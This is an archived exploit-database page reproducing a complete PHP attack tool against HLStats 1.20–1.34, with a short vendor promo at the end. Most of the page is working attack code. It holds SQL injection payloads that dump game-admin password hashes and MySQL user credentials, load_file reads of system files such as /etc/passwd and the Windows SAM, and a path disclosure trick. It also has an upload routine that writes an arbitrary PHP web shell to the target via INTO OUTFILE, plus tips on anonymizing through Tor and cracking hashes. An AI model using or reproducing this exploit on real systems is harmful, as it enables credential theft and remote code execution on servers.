Lucene search
K

HLStats <= 1.34 - (hlstats.php) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

HLStats <= 1.34 Remote SQL Injection Exploit and Path Disclosure Affects HLStats versions 1.20 to 1.34, works with magic_quotes_gpc=O

Code

                                                &#60;br&#62;&#60;b&#62;
&#60;?php
/*
Live Exploit Code
SQL Inection + Path Disclosure
Affects HLStats HLStats &#60;=1.34  and Hlstats &#62;= 1.20
works with magic_quotes_gpc=On
by Michael Brooks
*/

 print &#34;&#60;title&#62;HLStats SQL Injection Exploit&#60;/title&#62;
 &#60;body bgcolor=&#39;#009900&#39;&#62;
 &#60;font  color=&#39;#FF0000&#39;&#62;
&#60;b&#62;--------------------------------------------------------------------------------------------------------------------------------------------&#62;&#60;/b&#62;&#60;br&#62;&#60;br&#62;
&#60;center&#62;&#60;b&#62; &#60;br&#62;
Welcome To HLstats Exploit code.&#60;br&#62;&#60;br&#62;
&#60;/b&#62;&#60;/center&#62; 
&#60;br&#62; 
SQL Inection + Path Disclosure&#60;br&#62;
Affects Hlstats &#62;= 1.20 to HLStats &#60;=1.34(current)&#60;br&#62;
Tested on Linux and Windows&#60;br&#62;
works with magic_quotes_gpc=On!&#60;br&#62;
HLStats has gone though 5 years with no exploits so this is a Birthday Present!&#60;br&#62;
Merry Christmass!&#60;br&#62;
By Michael Brooks&#60;br&#62;
&#60;br&#62;
&#60;b&#62;--------------------------------------------------------------------------------------------------------------------------------------------&#62;&#60;/b&#62;&#60;br&#62;&#60;br&#62;
&#34;;
 
 print &#34;
 	&#60;form action=&#39;&#34;.$_SERVER[&#39;PHP_SELF&#39;].&#34;&#39; method=&#39;post&#39;&#62;
	&#60;b&#62;Target:&#60;/b&#62;&#60;br&#62;
	&#60;input type=&#39;text&#39; name=&#39;target&#39; size=32&#62;&#60;br&#62;
	(hint: where the login form is. example: http://domain.com/path/hlstats.php )&#60;br&#62;
	&#60;br&#62;&#60;b&#62;Proxy:&#60;/b&#62;(ip:port or name:pass@ip:port)&#60;br&#62;
	&#60;input type=&#39;text&#39; name=&#39;proxy&#39; size=32&#62;&#60;br&#62;
	(example: 127.0.0.1:8118   Use &#60;a href=&#39;http://tor.eff.org&#39;&#62;Tor&#60;/a&#62;+&#60;a href=&#39;http://www.privoxy.org/&#39;&#62;Privoxy&#60;/a&#62;. )&#60;br&#62;
	&#60;br&#62;&#60;br&#62;
	If nothing is changed below this line then the exploit will attempt to get the database login information in plain text.
&#60;b&#62;--------------------------------------------------------------------------------------------------------------------------------------------&#62;&#60;/b&#62;&#60;br&#62;&#60;br&#62;
	&#60;H1&#62;ATTACKS:&#60;/H1&#62;
	&#60;br&#62;
	&#60;b&#62;Database Selects:&#60;/b&#62;&#60;br&#62;
	&#60;br&#62;
	OBTIAN HLStats logins:&#60;br&#62;
	&#60;input type=&#39;submit&#39; name=&#39;button&#39; value=&#39;HLStats_Logins&#39;&#62;(Passwords are stored as MD5 hashs, use: &#60;a href=&#39;http://www.milw0rm.com/cracker/insert.php&#39;&#62;Milw0rm&#39;s MD5 Cracker&#60;/a&#62;)&#60;br&#62;
 		
 		  OBTIAN mysql.user logins:&#60;br&#62;
 		&#60;input type=&#39;submit&#39; name=&#39;button&#39; value=&#39;Mysql_Logins&#39;&#62;&#60;br&#62;
	&#60;br&#62;

	&#60;br&#62;
 	&#60;b&#62;File IO:&#60;/b&#62;&#60;br&#62;&#60;br&#62;
 	&#60;b&#62;Path Disclosure&#60;/b&#62;&#60;br&#62;
 	&#60;input type=&#39;submit&#39; name=&#39;button&#39; value=&#39;Path&#39;&#62;&#60;br&#62;
	&#60;br&#62;
	&#60;b&#62;Plain Text Database Login Information&#60;/b&#62;&#60;br&#62;
	&#60;input type=&#39;submit&#39; name=&#39;button&#39; value=&#39;Read_Login&#39;&#62;
	(This will attempt to read the configuration file for hlstats and dump the PLAIN TEXT database login information.)&#60;br&#62;
	&#60;br&#62;
	&#60;b&#62;Read Other File&#60;/b&#62;&#60;br&#62;
	&#60;input type=&#39;submit&#39; name=&#39;button&#39; value=&#39;Read_File&#39;&#62;
	&#60;input type=&#39;text&#39; name=&#39;read_file&#39; size=50&#62;
	&#60;br&#62;example: /etc/passwd&#60;br&#62;
	OR for windows based systems: C:\\\\WINDOWS\\\\repair\\\\sam&#60;br&#62;
	&#60;br&#62;&#60;b&#62;attempt payload:&#60;/b&#62;(WARNING,  NO PROXY IS USED FOR UPLOADING PAYLOAD)&#60;br&#62;
	&#60;input type=&#39;submit&#39;  name=&#39;button&#39; value=&#39;Upload&#39;&#62;
	 &lt?php &#60;input type=&#39;text&#39; name=&#39;payload&#39; size=50&#62;?&gt &#60;br&#62;
	example: system(&#39;netstat&#39;); &#60;br&#62;
	
	&#60;/form&#62;
	&#60;br&#62;&#60;b&#62;--------------------------------------------------------------------------------------------------------------------------------------------&#62;&#60;/b&#62;&#60;br&#62;
	&#34;;

 //generic http class
class http{
	var $proxy_ip=&#39;&#39;, $proxy_port=&#39;&#39;, $proxy_name=&#39;&#39;, $proxy_pass=&#39;&#39;;
	
	function http_gpc_send($loc ,$cookie=&#34;&#34;, $postdata = &#34;&#34;) { 
		 //overload function polymorphism between gets and posts
		 $url=parse_url($loc);
		 if(!isset($url[&#39;port&#39;])){
		   $url[&#39;port&#39;]=80;
		}
		//$ua=$_SERVER[&#39;HTTP_USER_AGENT&#39;];
		$ua=&#39;GPC/.01&#39;;
		 if($this-&#62;proxy_ip!=&#39;&#39;&&$this-&#62;proxy_port!=&#39;&#39;){
			$fp = pfsockopen( $this-&#62;proxy_ip, $this-&#62;proxy_port, &$errno, &$errstr, 120 );
			$url[&#39;path&#39;]=$url[&#39;host&#39;].&#39;:&#39;.$url[&#39;port&#39;].$url[&#39;path&#39;];
		 }else{
			$fp = fsockopen( $url[&#39;host&#39;], $url[&#39;port&#39;], &$errno, &$errstr, 120 );
		 }
		 
		 if( !$fp ) {
		    print &#34;$errstr ($errno)&#60;br&#62;\nn&#34;;
		 } else {
		    if( $postdata==&#39;&#39; ) {
			fputs( $fp, &#34;GET &#34;.$url[&#39;path&#39;].&#34;?&#34;.$url[&#39;query&#39;].&#34; HTTP/1.1\r\n&#34; );
		    } else {
			fputs( $fp, &#34;POST &#34;.$url[&#39;path&#39;].&#34;?&#34;.$url[&#39;query&#39;].&#34; HTTP/1.1\r\n&#34; );
		    }
		    
		    if($this-&#62;proxy_name!=&#39;&#39;&&$this-&#62;proxy_pass!=&#39;&#39;){
			fputs($fp, &#34;Proxy-Authorization: Basic &#34;.base64_encode($this-&#62;proxy_name.&#34;:&#34;.$this-&#62;proxy_pass).&#34;\r\n\r\n&#34;);
		    }

		    fputs($fp, &#34;Host: &#34;.$url[&#39;host&#39;].&#34;:&#34;.$url[&#39;port&#39;].&#34;\r\n&#34;);
		    fputs( $fp, &#34;User-Agent: &#34;.$ua.&#34;\r\n&#34; );
		    fputs( $fp, &#34;Accept: text/plain\r\n&#34; );
		    fputs( $fp,&#34;Connection: Close\r\n&#34; );
		    if($cookie!=&#39;&#39;){ 
			fputs( $fp, &#34;Cookie: &#34;.$cookie.&#34;\r\n&#34; );
		    }
		    if( $postdata!=&#39;&#39; ) {
			$strlength = strlen( $postdata );
			fputs( $fp, &#34;Content-type: application/x-www-form-urlencoded\r\n&#34; );
			fputs( $fp, &#34;Content-length: &#34;.$strlength.&#34;\r\n\r\n&#34; );
			fputs( $fp, $postdata);
		    }
		    fputs( $fp, &#34;\n\n&#34; );
		    
		   $output = &#34;&#34;;
		   while( !feof( $fp ) ) {
			$output .= fgets( $fp, 1024 );
		   }
		    fclose( $fp );
		 }
		 return $output;
	}
	
	function proxy($proxy){ //user:pass@ip:port
		$proxyAuth=explode(&#39;@&#39;,$proxy);
		if(isset($proxyAuth[1])){
			$login=explode(&#39;:&#39;,$proxyAuth[0]);
			$this-&#62;proxy_name=$login[0];
			$this-&#62;proxy_pass=$login[1];
			
			$addr=explode(&#39;:&#39;,$proxyAuth[1]);
			$this-&#62;proxy_ip=$addr[0];
			$this-&#62;proxy_port=$addr[1];
		}else{
			$addr=explode(&#39;:&#39;,$proxy);
			$this-&#62;proxy_ip=$addr[0];
			$this-&#62;proxy_port=$addr[1];
		}
	}
	
	function get($url, $cookie=&#39;&#39;){
		return $this-&#62;http_gpc_send($url, $cookie);
	}

	function post($url, $cookie=&#39;&#39;, $post=&#39;&#39;){
		return $this-&#62;http_gpc_send($url,$cookie,$post);
	}
	
	function getServer($url){
		$resp=$this-&#62;http_gpc_send($url);
		$header=explode(&#34;Server: &#34;,$resp);
		$server=explode(&#34;\n&#34;,$header[1]);
		return $server[0];
	}
}

//reuseable functions
function getPath($html){
	$path=&#39;&#39;;
	$resp=explode(&#34;array given in &#60;b&#62;&#34;,$html);
	if(isset($resp[1])){
		$resp = explode(&#34;&#60;/b&#62;&#34;,$resp[1]);
	}else{
		$resp[0]=false;
	}
	return $resp[0];
}

function charEncode($string){
	$char=&#34;char(&#34;;
	$size=strlen($string);
	for($x=0;$x&#60;$size;$x++){
		$char.=ord($string[$x]).&#34;, &#34;;
	}
	$char[strlen($char)-2]=&#39;)%00&#39;;
	return $char;
}

function hex_encode($my_string)
{
$encoded=&#34;0x&#34;;
  for ($k=0; $k&#60;=strlen($my_string)-1; $k++)
  {$temp=dechex(ord($my_string[$k]));
    if (strlen($temp)==1) {$temp=&#34;0&#34;.$temp;}
    $encoded.=$temp;
  }
  return $encoded;
} 


//hlstats specific functions
function hl_get_sql($resp){
	//print htmlspecialchars($resp);
	$tmp=explode(&#39;&#60;table &#39;,$resp);
	array_pop($tmp);
	$last=array_pop($tmp);
	$tbl=explode(&#39;&#60;/table&#62;&#39;,$last);
	$table=$tbl[0];//ITS MY TABLE NOW!
	if(strstr($table,&#39;Victim&#39;)&&strstr($table,&#39;Times Killed&#39;)){
		$table=str_replace(&#39;border=0&#39;,&#39;border=1&#39;,$table);
		$table=str_replace(&#39;#002E8A&#39;,&#39;#000000&#39;,$table);
		$table=str_replace(&#39;#15154D&#39;,&#39;#CCCCCC&#39;,$table);
		$table=str_replace(&#39;#161652&#39;,&#39;#CCCCCC&#39;,$table);
		$table=&#39;&#60;table &#39;.$table.&#39;&#60;/table&#62;&#39;;
	}else{
		$table=false;
	}
	return $table;
}

function get_logins($addr){
	$http=new http();
	$data=&#39;&#39;;
	$resp=$http-&#62;get($addr.&#34;?mode=playerinfo&player=1&playerdata[lastName][]=1&#34;);
	$path=getPath($resp);
	$readfile=hex_encode($path);
	$pay=&#34;killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20&#34;;
	$resp=$http-&#62;post($addr.&#34;?mode=playerinfo&player=1&#34;,&#39;&#39;,$pay);
		
	$tmp=explode(&#34;define(&quot;DB_NAME&quot;, &quot;&#34;,$resp);
	$tmp=explode(&#34;&quot;&#34;,$tmp[1]);
	$data[db]=$tmp[0];

	$tmp=explode(&#34;define(&quot;DB_USER&quot;, &quot;&#34;,$resp);
	$tmp=explode(&#34;&quot;&#34;,$tmp[1]);
	$data[name]=$tmp[0];
	
	$tmp=explode(&#34;define(&quot;DB_PASS&quot;, &quot;&#34;,$resp);
	$tmp=explode(&#34;&quot;&#34;,$tmp[1]);
	$data[pass]=$tmp[0];
	
	$tmp=explode(&#34;define(&quot;DB_ADDR&quot;, &quot;&#34;,$resp);
	$tmp=explode(&#34;&quot;&#34;,$tmp[1]);
	$data[addr]=$tmp[0];
	
	$tmp=explode(&#34;define(&quot;DB_TYPE&quot;, &quot;&#34;,$resp);
	$tmp=explode(&#34;&quot;&#34;,$tmp[1]);
	$data[type]=$tmp[0];
	
	return $data;
}

//The table prefix is needed to union select the hlstats logins
function get_prefix($attack){
	$prefix=false;
	$http=new http();
	//hex_encode is used instead of quote marks
	$payload=&#34;killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20&#34;.hex_encode(&#34;%events_playerplayeractions&#34;).&#34;%23&#34;;
	$resp=$http-&#62;post($attack.&#34;?mode=playerinfo&player=1&#34;,&#39;&#39;,$payload);
	$mid=explode(&#39;events_playerplayeractions&#39;,$resp);
	if(is_array($mid)){
		foreach($mid as $m){
			$pre= explode(&#39;&#62;&#39;,$m);
			$fix=array_pop($pre);
			if(is_array($prefix)){
				if(!in_array($fix,$prefix)){
					$prefix[]=trim($fix);
				}
			}else if($prefix!=$fix){
				print($fix);
				$prefix[]=trim($fix);
			}
		}
		if(is_array($prefix)){
			$v=array_pop($prefix);
			if(trim($v)!=&#39;0&#39;){//damn that zero!!
				array_push($prefix,$v);
			}
		}
	}else{
		$prefix=false;
	}
	return($prefix);
}

if(isset($_REQUEST[&#39;target&#39;])&&$_REQUEST[&#39;target&#39;]!=&#39;&#39;){
	//this exploit can take its sweet time. 
	set_time_limit(0);
	$http=new http();
	$addr=explode(&#39;?&#39;,$_REQUEST[&#39;target&#39;]);
	$addr=$addr[0];
	if(isset($_REQUEST[&#39;proxy&#39;])){
		$http-&#62;proxy($_REQUEST[&#39;proxy&#39;]);
	} 
	
	switch($_REQUEST[&#39;button&#39;]){
		case &#39;HLStats_Logins&#39;:
			$table=false;
			$prefix=get_prefix($addr);
			//print_r($prefix);
			foreach($prefix as $pre){
				if(!$table){
					print &#34;trying table prefix:$pre&#60;br&#62;&#34;;
					//no comments are used in this payload,  instead a second union select is used to finnish the query.
					$pay=&#34;killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20&#34;.$pre.&#34;Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20&#34;.$pre.&#34;Players%20WHERE%201=0&#34;;
					$resp=$http-&#62;post($addr.&#34;?mode=playerinfo&player=1&#34;,&#39;&#39;,$pay);
					$table=hl_get_sql($resp);//  
				}
			}
			if(!$table&&@!in_array(&#39;hlstats_&#39;,$prefix)){//ooah no the exploit has failed so far. 
					$pre=&#34;hlstats_&#34;;//try the default prefix
					print &#34;trying table prefix:$pre&#60;br&#62;&#34;;
					$pay=&#34;killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20&#34;.$pre.&#34;Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20&#34;.$pre.&#34;Players%20WHERE%201=0&#34;;
					$resp=$http-&#62;post($addr.&#34;?mode=playerinfo&player=1&#34;,&#39;&#39;,$pay);
					$table=hl_get_sql($resp);//  			
			}
			if($table){
				$table=str_replace(&#39;Victim&#39;,&#39;username&#39;,$table);
				$table=str_replace(&#39;Kills per Death&#39;,&#39;playerId&#39;,$table);
				$table=str_replace(&#39;Deaths by&#39;,&#39;acclevel&#39;,$table);
				$table=str_replace(&#39;Times Killed&#39;,&#39;password&#39;,$table);
				$table=str_replace(&#39;Rank&#39;,&#39;Count&#39;,$table);
				print &#34;&#60;br&#62;$table&#34;;
			}
			break;
		case &#39;Mysql_Logins&#39;:
			//a comment is used so the table prefix doesn&#39;t have to be known;  this is simpler,  less to go wrong.  
			$pay=&#34;killLimit=1000%20union%20select%20user,password,File_priv,1,Host%20%20from%20mysql.user%20--%20&#34;;
			$resp=$http-&#62;post($addr.&#34;?mode=playerinfo&player=1&#34;,&#39;&#39;,$pay);
			$table=hl_get_sql($resp);
			$table=str_replace(&#39;Victim&#39;,&#39;User&#39;,$table);
			$table=str_replace(&#39;Kills per Death&#39;,&#39;Host&#39;,$table);
			$table=str_replace(&#39;Deaths by&#39;,&#39;File_priv&#39;,$table);
			$table=str_replace(&#39;Times Killed&#39;,&#39;Password&#39;,$table);
			$table=str_replace(&#39;Rank&#39;,&#39;Count&#39;,$table);
			print &#34;&#60;br&#62;$table&#34;;
		break;
		case &#39;Read_File&#39;:
			$readfile=hex_encode($_REQUEST[read_file]);
			$pay=&#34;killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20&#34;;
			$resp=$http-&#62;post($addr.&#34;?mode=playerinfo&player=1&#34;,&#39;&#39;,$pay);			
			$tmp=explode(&#39;alt=&#34;player.gif&#34;&#62;&#60;b&#62;&#39;,$resp);
			$data=explode(&#34;&#60;/font&#62;&#34;,$tmp[1]);
			$data=$data[0];
			//this might be a bad thing:
			$data=preg_replace(&#39;&#60;br /&#62;&#39;,&#39;&#39;,$data);
			print &#39;data&#39;.$data; 		
		break;
		case &#39;Path&#39;:
			$resp=$http-&#62;get($addr.&#34;?mode=playerinfo&player=1&playerdata[lastName][]=1&#34;);
			$path=getPath($resp );
			print &#34;Path Disclosure:$path&#60;br&#62;&#34;;
		break;	
		case &#39;Read_Login&#39;:
			$data=get_logins($addr);
			foreach($data as $var=&#62;$val){
				   $tmp=explode(&#39;&quot&#39;,$val);
					$data[$var]=$tmp[0];
					print &#34;&#60;br&#62;&#34;.$var.&#34;:&#34;.$tmp[0];
			}	
		break;
		case &#39;Upload&#39;:
			$resp=$http-&#62;get($addr.&#34;?mode=playerinfo&player=1&playerdata[lastName][]=1&#34;);
			$path=getPath($resp );
			$data=get_logins($addr);
			print $path.&#34;&#60;br&#62;&#34;;
			$tar=explode(&#39;/&#39;,$_REQUEST[&#39;target&#39;]);
			$paylink=$tar;
			array_pop($paylink);
			$paylink=implode(&#39;/&#39;,$paylink);
			if(strstr($path,&#39;:&#39;)){//if windows
				print &#34;Windows Sytem&#60;br&#62;&#34;;
				$temp=explode(&#39;\\&#39;,$path);
			}else{//else *nix
				print &#34;*nix System&#60;br&#62;&#34;;
				$temp=explode(&#39;/&#39;,$path);
			}
			array_pop($temp);
			$path=implode(&#39;/&#39;,$temp);
			mysql_connect($tar[2],$data[name],$data[pass]) or die(mysql_error());
			$name=&#34;data&#34;.rand();//rand is used so that this attack can be run multiple times.
			$sql=&#34;SELECT &#39;&#60;?php &#34;.$_REQUEST[payload].&#34;?&#62;&#39; INTO OUTFILE &#39;$path/$name.php&#39;&#34;;
			print &#34;&#60;br&#62;&#60;a href=&#39;$paylink/$name.php&#39;&#62;&#60;b&#62; Execute Payload &#60;/b&#62;&#60;/a&#62;&#34;;
			mysql_query($sql) or die(mysql_error());
		break;
		default:
			print &#39;No Attack!&#39;;
		break;
	}
}else{
	Print &#34;No Target.&#34;;
}
?&#62;&#60;br&#62;--------------------------------------------------------------------------------------------------------------------------------------------&#62;&#60;br&#62;

# milw0rm.com [2006-12-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation